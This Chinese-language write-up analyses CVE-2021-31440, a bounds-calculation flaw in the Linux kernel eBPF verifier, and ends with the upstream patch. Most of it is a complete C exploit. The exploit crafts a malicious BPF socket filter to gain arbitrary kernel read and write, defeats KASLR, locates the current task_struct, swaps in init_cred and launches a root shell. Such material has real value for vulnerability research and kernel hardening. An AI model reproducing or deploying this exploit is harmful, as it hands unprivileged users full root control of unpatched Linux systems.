文章目录
- 前言
- 漏洞分析
- 构造 vuln reg
- 漏洞利用
- 漏洞修复
- 参考
前言
影响版本：Linux 5.7 ~ 5.11.20 8.8
编译选项：CONFIG_BPF_SYSCALL，config 所有带 BPF 字样的编译选项。General setup —> Choose SLAB allocator (SLUB (Unqueued Allocator)) —> SLAB。CONFIG_E1000 和 CONFIG_E1000E，变更为 =y 。
漏洞概述：verifier 检查条件跳转时利用 __reg_combine_64_into_32 更新 32 位边界错误
测试环境：测试环境 linux-5.11.0
漏洞分析
漏洞本质发生在 __reg_combine_64_into_32 函数中：
static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
{
__mark_reg32_unbounded(reg);
if (__reg64_bound_s32(reg->smin_value) && __reg64_bound_s32(reg->smax_value)) { [1]
reg->s32_min_value = (s32)reg->smin_value;
reg->s32_max_value = (s32)reg->smax_value;
}
if (__reg64_bound_u32(reg->umin_value)) // reg->umin_value = 1 [2]
reg->u32_min_value = (u32)reg->umin_value; // reg->u32_min_value = 1
if (__reg64_bound_u32(reg->umax_value)) // reg->umax_value = 0x1_0000_0000 [3]
reg->u32_max_value = (u32)reg->umax_value; // reg->u32_max_value = U32_MAX
__reg_deduce_bounds(reg);
__reg_bound_offset(reg);
__update_reg_bounds(reg);
}
该函数会利用寄存器的 64 位边界值去更新 32 位边界值。在 [1] 处，当 smin_value 和 smax_value 都在 32 位带符号范围内时，则更新 32 位带符号边界，这是不存在问题的。但是对于无符号的判断则是分为两步 [2] [3]，即只要 umin_value 和 umax_value 有一个在 32 为无符号范围内时，则更新对于的 32 位无符号范围。但是这里是存在逻辑错误的，因为 64 位的最大值和最小值并不能完全确定 32 位的最大值最小值，比如上述注释中：当 umin_value = 1 时，则会更新 u32_min_value = 1，而 umax_value = 0x1_0000_0000，其不在 32 位无符号范围内，所以不会更新 u32_max_value。那么问题就来了，我们的真实值是可以为 0x1_0000_0000，所以这里 u32_min_value 应该是等于 0，而不是等于 1 的。
构造 vuln reg
1、首先构造一个运行时确定为 0x1_0000_0000，但是 verifier 认定为 unknown 的寄存器 R6，一般都是通过从 map 中加载数据来构造的。这里笔者从 ZDI 中学到了利用两次 BPF_NEG 去使得 verifier 失去对 R6 的范围跟踪：
BPF_MOV64_IMM(BPF_REG_6, 1), // r6 = 1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_6, 32), // r6 = 0x1_0000_0000
BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 = ~r6
BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 = ~r6
2、然后利用 BPF_JGE 修改 R6.umin_value = 1：
BPF_JMP_IMM(BPF_JGE, BPF_REG_6, 1, 1), // set r6.umin_value = 1
然后会经过 __reg_combine_64_into_32 处理，这时会更新 R6.u32_min_value = R6.umin_value = 1。
3、然后利用 BPF_JLE 修改 R6.u32_max_value = 1：
BPF_JMP32_IMM(BPF_JLE, BPF_REG_6, 1, 1), // set r6.u32_max_value = 1
所以这里 R6.u32_min_value = R6.u32_max_value = 1 了，然后会执行如下语句：
......
if (is_jmp32) {
false_reg->var_off = tnum_or(tnum_clear_subreg(false_64off),
tnum_subreg(false_32off));
true_reg->var_off = tnum_or(tnum_clear_subreg(true_64off),
tnum_subreg(true_32off));
__reg_combine_32_into_64(false_reg);
__reg_combine_32_into_64(true_reg);
} else {
false_reg->var_off = false_64off;
true_reg->var_off = true_64off;
__reg_combine_64_into_32(false_reg);
__reg_combine_64_into_32(true_reg);
}
......
这里是 JMP32，所以会走 if 分支，这里我们主要关注：__reg_combine_32_into_64(true_reg);：
static void __reg_combine_32_into_64(struct bpf_reg_state *reg)
{
/* special case when 64-bit register has upper 32-bit register
* zeroed. Typically happens after zext or <<32, >>32 sequence
* allowing us to use 32-bit bounds directly,
*/
if (tnum_equals_const(tnum_clear_subreg(reg->var_off), 0)) {
__reg_assign_32_into_64(reg);
} else {
__mark_reg64_unbounded(reg);
__update_reg_bounds(reg);
}
__reg_deduce_bounds(reg);
__reg_bound_offset(reg);
__update_reg_bounds(reg);
}
关于最后的三个函数，相信读者已经比较熟悉了，在之前的 ebpf 详细分析过，这里就不细说了，当然你得知道如果 s32_min_value = s32_max_value = u32_max_value = u32_min_value = 1，则最后 reg.var_off 的低 32 位会被确定为 1。
然后这里 R6 的高 32 位经过两次 NEG 是不确定的，所以会走 else 分支，调用 __update_reg_bounds 更新寄存器范围边界：
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);
/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask & S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask & S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
}
我们知道 R6.u32_min_value = R6.u32_max_value = 1 ，所以这里会将 R6.s32_min_value/s32_max_value 更新为 1，所以最后会将 R6 的低 32 位确认为 1，但是这是存在问题的，因为我们知道 R6 的值在运行时为 0x1_0000_0000，所以其低 32 位应当为 0。所以这里就构造了一个低 32 位验证阶段为 1，运行是为 0 的寄存器 R6 了。
4、然后将 R6+1 即构造了一个低 32 位验证阶段为 2，运行时为低32为 1 的寄存器 R6，然后在 R6 AND 1，即构造了一个验证阶段为 0，运行时为 1 的寄存器 R6 了。
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1),
漏洞利用
漏洞利用比较简单，这里笔者选择的是利用 bpf_skb_load_bytes 构造任意地址读写，具体可以参考我之前的文章。
exp 如下：
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <ctype.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/bpf.h>
#include "bpf_insn.h"
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(2);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[35m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(2);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
static inline int bpf(int cmd, union bpf_attr *attr)
{
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}
static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
};
return bpf(BPF_MAP_CREATE, &attr);
}
static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}
static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
};
return bpf(BPF_MAP_DELETE_ELEM, &attr);
}
static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.next_key = (uint64_t)next_key,
};
return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}
static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t)&info,
};
bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
return info.btf_id;
}
int sockets[2];
int map_fd1;
int map_fd2;
int prog_fd;
uint32_t key;
uint64_t* value1;
uint64_t* value2;
char trigger_buf[0x2000];
uint64_t array_map_ops = 0xffffffff82b0cd40;
uint64_t init_cred = 0xffffffff8398fa20;
uint64_t init_task = 0xffffffff83824a80;
uint64_t init_nsproxy = 0xffffffff8398e740;
uint64_t map_addr = -1;
uint64_t koffset = -1;
uint64_t kbase = -1;
uint64_t tag = 0x6159617a6f616958;
uint64_t current_task;
struct bpf_insn prog[] = {
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1), // r7 = ctx
BPF_LD_MAP_FD(BPF_REG_1, 3), // r1 = [map_fd1]
BPF_MOV64_IMM(BPF_REG_6, 0), // r6 = 0
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8), // *(fp -8) = 0
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), // r2 = fp
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), // r2 = fp - 8
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // args: r1 = bpf_map1 ptr, r2 = fp - 8
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // if r0 <= r0 goto pc+1 right
BPF_EXIT_INSN(), // exit
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = value1 ptr
BPF_LD_MAP_FD(BPF_REG_1, 4), // r1 = [map_fd2]
BPF_MOV64_IMM(BPF_REG_5, 0), // r5 = 0
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_5, -8), // *(fp -8) = 0
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), // r2 = fp
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), // r2 = fp - 8
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // args: r1 = bpf_map2 ptr, r2 = fp - 8
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // if r0 <= r0 goto pc+1 right
BPF_EXIT_INSN(), // exit
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = value2 ptr
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_9, -8), // *(fp -8) = value1 ptr
BPF_MOV64_IMM(BPF_REG_6, 1), // r6 = 1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_6, 32), // r6 = 0x1_0000_0000
BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 = ~r6
BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 = ~r6
BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0
BPF_JMP_IMM(BPF_JGE, BPF_REG_6, 1, 1), // set r6.umin_value = 1
BPF_EXIT_INSN(), // exit()
BPF_JMP32_IMM(BPF_JLE, BPF_REG_6, 1, 1), // set r6.u32_max_value = 1
BPF_EXIT_INSN(), // exit()
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1),
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_8, 0), // r5 = value2[0] = len
BPF_JMP_IMM(BPF_JNE, BPF_REG_5, 0xdead, 2), // leak map_addr
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 2), // r6 = 2 [verifier 0]
BPF_JMP_IMM(BPF_JEQ, BPF_REG_5, 0xdead, 1), // jmp
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 8), // r6 = 8 [verifier 0]
BPF_MOV64_REG(BPF_REG_1, BPF_REG_7), // r1 = ctx
BPF_MOV64_IMM(BPF_REG_2, 0), // r2 = 0
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10), // r3 = fp
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16), // r3 = fp -8
BPF_MOV64_IMM(BPF_REG_4, 8), // r4 = 8
BPF_ALU64_REG(BPF_ADD, BPF_REG_4, BPF_REG_6), // r4 = 10 [verifier 8]
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes), // args: r1 = ctx, r2 = 0, r3 = fp -8, r4 = 10 [verifier 8]
BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_10, -8), // r9 = value1 ptr
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0), // r5 = value2[0] = len
BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xdead, 4), // jmp
BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xbeef, 3), // jmp
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_8, 8), // r5 = value2[1]
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_5, 0), // value1[0] = value2[0]
BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xdeef, 2),
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_9, 0), // r5 = value1[0]
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_5, 0), // value2[0] = value1[0]
BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0
BPF_EXIT_INSN(), // exit()
};
#define BPF_LOG_SZ 0x20000
char bpf_log_buf[BPF_LOG_SZ] = { '\0' };
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = (uint64_t) &prog,
.insn_cnt = sizeof(prog) / sizeof(prog[0]),
.license = (uint64_t) "GPL",
.log_level = 2,
.log_buf = (uint64_t) bpf_log_buf,
.log_size = BPF_LOG_SZ,
};
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void trigger() {
write(sockets[0], trigger_buf, 0x100);
}
void prep() {
value1 = (uint64_t*)calloc(0x2000, 1);
value2 = (uint64_t*)calloc(0x2000, 1);
prctl(PR_SET_NAME, "XiaozaYa");
map_fd1 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (map_fd1 < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
map_fd2 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (map_fd2 < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
prog_fd = bpf(BPF_PROG_LOAD, &attr);
if (prog_fd < 0) puts(bpf_log_buf), perror("BPF_PROG_LOAD"), err_exit("BPF_PROG_LOAD");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0)
perror("socketpair()"), err_exit("socketpair()");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)
perror("socketpair SO_ATTACH_BPF"), err_exit("socketpair()");
// puts(bpf_log_buf);
}
void pwn() {
uint64_t buf[0x2000/8] = { 0 };
memset(trigger_buf, 'A', sizeof(trigger_buf));
trigger_buf[8] = '\xc0';
value2[0] = 0xdead;
bpf_map_update_elem(map_fd1, &key, value1, BPF_ANY);
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
for (int i = 0; i < 15; i++) {
value2[0] = 0xdead;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
trigger_buf[8+1] = i*0x10;
trigger();
memset(buf, 0, sizeof(buf));
bpf_map_lookup_elem(map_fd2, &key, buf);
uint64_t data = *(uint64_t*)buf;
if (map_addr == -1 && (data&0xffff000000000fff) == 0xffff0000000000c0)
map_addr = data - 0xc0;
printf("[---dump----] %-016llx\n", data);
}
if (map_addr == -1)
err_exit("FAILED to leak map_addr");
hexx("map_addr", map_addr);
value2[0] = 0xdead;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
trigger_buf[8] = '\x00';
trigger_buf[8+1] = (char)((map_addr >> 8)&0xff);
trigger();
memset(buf, 0, sizeof(buf));
bpf_map_lookup_elem(map_fd2, &key, buf);
binary_dump("LEAK DATA", buf, 0x20);
koffset = *(uint64_t*)buf - array_map_ops;
init_cred += koffset;
init_task += koffset;
init_nsproxy += koffset;
hexx("koffset", koffset);
puts("======= searching current task_struct =======");
current_task = init_task;
for (;;) {
value2[0] = 0xbeef;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
*(uint64_t*)(trigger_buf+8) = current_task+0x820;
trigger();
memset(buf, 0, sizeof(buf));
bpf_map_lookup_elem(map_fd2, &key, buf);
current_task = buf[0] - 0x818;
value2[0] = 0xbeef;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
*(uint64_t*)(trigger_buf+8) = current_task+0xae8;
trigger();
memset(buf, 0, sizeof(buf));
bpf_map_lookup_elem(map_fd2, &key, buf);
if (buf[0] == tag) {
hexx("Hit current_task", current_task);
break;
}
hexx("current_task", current_task);
}
puts("======= replace cred/real_cred wiht init_cred =======");
value2[0] = 0xdeef;
value2[1] = init_cred;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
*(uint64_t*)(trigger_buf+8) = current_task+0xad8;
trigger();
value2[1] = init_cred;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
*(uint64_t*)(trigger_buf+8) = current_task+0xad0;
trigger();
value2[1] = init_nsproxy;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
*(uint64_t*)(trigger_buf+8) = current_task+0xb40;
trigger();
}
int main(int argc, char** argv, char** envp)
{
init();
prep();
pwn();
get_root_shell();
puts("EXP NERVER END!");
return 0;
}
效果如下：
漏洞修复
patch 如下：
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 637462e9b6ee9..9145f88b2a0a5 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -1398,9 +1398,7 @@ static bool __reg64_bound_s32(s64 a)
static bool __reg64_bound_u32(u64 a)
{
- if (a > U32_MIN && a < U32_MAX)
- return true;
- return false;
+ return a > U32_MIN && a < U32_MAX;
}
static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
@@ -1411,10 +1409,10 @@ static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
reg->s32_min_value = (s32)reg->smin_value;
reg->s32_max_value = (s32)reg->smax_value;
}
- if (__reg64_bound_u32(reg->umin_value))
+ if (__reg64_bound_u32(reg->umin_value) && __reg64_bound_u32(reg->umax_value)) {
reg->u32_min_value = (u32)reg->umin_value;
- if (__reg64_bound_u32(reg->umax_value))
reg->u32_max_value = (u32)reg->umax_value;
+ }
漏洞修复比较简单，就是跟带符号边界更新一样，只有当 umin_value/umax_value 同时在 32 位无符号范围内时，才更新 32 位范围。
参考
CVE-2021-31440: AN INCORRECT BOUNDS CALCULATION IN THE LINUX KERNEL EBPF VERIFIER
